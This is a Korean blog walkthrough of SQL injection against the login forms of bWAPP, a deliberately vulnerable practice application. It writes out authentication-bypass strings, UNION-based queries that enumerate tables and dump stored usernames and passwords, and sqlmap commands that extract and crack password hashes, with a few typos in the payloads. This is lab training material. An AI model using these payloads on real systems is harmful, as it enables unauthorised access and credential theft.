Hacking/bWAPP

SQL Injection - Login Form

알거음슴 2021. 6. 14. 14:35

SQL-Injection Login Form (Hero)

1. SQL-Injection Login Form(Hero)

SQL Injection (Login Form/Hero)의 경우 Hero 그룹에 속한 사용자들이 로그인시 해당 사용자의 비밀번호의 힌트를 제공하는 페이지이다. 취약점 점검을 위하여 ‘(싱글쿼터) 또는 “(더블쿼터)를 입력한다.

 

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password = ''' at line 1

‘(싱글쿼터) 입력 시 오류가 출력된다, id password를 한 줄 구문으로 입력하라는 내용이 출력된다. ‘ or 1=1# 을 통해서 어떤 사용자로 로그인 되는지 확인해본다.

 

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password = ''' at line 1

‘(싱글쿼터) 입력 시 오류가 출력된다, id password를 한 줄 구문으로 입력하라는 내용이 출력된다. ‘ or 1=1# 을 통해서 어떤 사용자로 로그인 되는지 확인해본다.

 

Neo 사용자로 로그인된걸로 추측된다 관련 비밀번호의 대한 힌트 내용도 출력된다 즉 ‘ or 1=1#의 공격구문이 적용되고있다, 추가적인 columns 을 확인해보도록 한다.

 

‘ union select all 1,2,3,4 #

4개의 columns 가 존재함을 확인할 수 있다. 그리고 그중 2번과 4 columns에서 출력결과가 나오고 있음을 알 수 있다. 이제 Database를 알아내보자.

 

‘ union select all 1,@@version,3, database() #

MySQL versionBWAPP 라는 database 의 정보를 획득. 지속해서 SQL query문을 통해서 table의 정보를 얻어보자.

 

‘ union select all 1, table_name, 3, 4 from information_schema.tables where table_scheam=’BWAPP” #

출력 가능한 공간이 한줄뿐이라 출력되는 table의 정보도 하나의 정보밖에 나오지않는다.

출력 정보가 한줄뿐임으로 추가적인 정보를 얻기위해 blog 다음 table의 종류를 확인해본다.

 

‘ union select all 1, table_name, 3, 4 from information_schema.tables where table_schema!=’information_schema’ and table_name!=’Blog’ #

Blog table의 다음 table Heroes table로 확인된다, hero그룹의 대한 사용자의 정보를 출력하는 페이지임으로 해당 table column 의 이름을 확인해보자.

 

‘ union select 1, column_name, 3, 4 from information_schema.columns where table_name=’Heroes’ #

Id column이 확인된다 hero그룹의 사용자 id가 정의 되어 있는 것으로 추정 이하 추가적인 column들도 확인해본다.

 

‘ union select all 1, column_name, 3, 4 from information_schema.columns where table_name=’Heroes’ and column_name!=’id’ #

Id column 다음은 Login column으로 확인된다. 두개의 column의 정보를 추가적으로 얻어보자

 

‘ union select all 1, id, 3, login from heroes where login!=’Neo’ #

Alice 사용자가 있는걸로 확인되고 있다, 추가적으로 다른 사용자들의 대한 정보를 얻어보자.

 

‘ union select all 1, id, 3, login from heroes where login!=’Neo’ and login!=’Alice’ #

Thor 사용자도 확인되고 있다, 우선 Neo 사용자의 비밀번호를 알아내기 위한 구문을 입력해본다.

 

union select 1, login, 3, password form heroes #

Neo 사용자의 비밀번호는 Trinity이다. 다음은 Alies 사용자의 비밀번호를 알아보자

 

‘ union select 1, login, 3, password from heroes where login!=’Neo’ #

 

Alice 사용자의 비밀번호는 LoveZombies로 확인된다. 마지막으로 or a=a 구문을 통해 로그인되는 여부도 확인을 진행한다,

 

Alice ‘ or’a’=’a

 

정상적으로 로그인이된다 비밀번호를 입력하지 않고 로그인 성공한 이유는 and 연산자를 통하여 한줄로 DatabaseIDPassword 를 출력받는 취약점으로 인해 발생하는 것으로 확인된다.

 

SQL-Injection Login Form (User)

1. SQL-Injection Login Form(User)

SQL Injection (Login Form/User) 페이지도 사용자들이 로그인 시 해당 사용자의 비밀번호 힌트를 제공하는 페이지이다, 취약점 점검을 위하여 ‘(싱글쿼터) 또는 “(더블쿼터)를 입력한다.

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

‘ (싱글쿼터) 입력 시 오류문구가 출력되는걸로 확인된다. 취약한 구성여부는 확인되었으니 ‘ or 1=1 # 구문을 입력해본다.

 

‘ or 1=1 #

 

로그인 실패 메시지가 출력된다. 다른 Query문을 넣어도 동일하게 로그인 실패 메시지가 출력된다. 기존의 Login form/Hero와 다르게 한줄로 SQL Query구문을 받는 것이 아니라는걸 확인할 수 있다.

소스코드를 확인해보면 login && password 가 일치해야 정상적인 동작을 할 수 있도록 설정되어있다, 또한 Post-method 방식으로 동작함으로 burp suite를 통하여 파라미터 확인이 필요하다.

 

Sqlmap을 통하여 Database 의 정보를 얻어와보자.

sqlmap -u "http://192.168.10.137/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=d8d6ab5596b3dc34b38e661f57388a6a" --data="login=test&password=test&form=submit" –-dbs   

Database의 목록을 확인, DB table 정보를 확인해보자.

 

sqlmap -u "http://192.168.10.137/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=d8d6ab5596b3dc34b38e661f57388a6a" --data="login=test&password=test&form=submit" –-D“bWAPP” –tables

Table 목록 확인 heroes 또는users tablecolumn의 확인이 필요할것같다. 우선 users부터 진행한다

 

sqlmap -u "http://192.168.10.137/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=d8d6ab5596b3dc34b38e661f57388a6a" --data="login=test&password=test&form=submit" –-D“bWAPP” --T"users” --columns

Id login column 이 확인된다, 정확히 찾아온 것으로 확인된다, login 안의 값을 한번 조회해본다.

 

sqlmap -u "http://192.168.10.137/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=d8d6ab5596b3dc34b38e661f57388a6a" --data="login=test&password=test&form=submit" –-D“bWAPP” --T”users” --C"login,password” --dump

사용자의 정보를 확인했다. 비밀번호는 암호화 되어있는것으로 확인되기에 hash-identifier을 통해 어느정류로 암호화 되어있는지 확인 및 복호화 진행하여 로그인 시도를 진행해본다

 

SHA-1 방식으로 암호화되어있는걸 확인, 복호화 및 로그인 진행시도.

 

bee 사용자로 로그인되는걸 확인할 수 있다.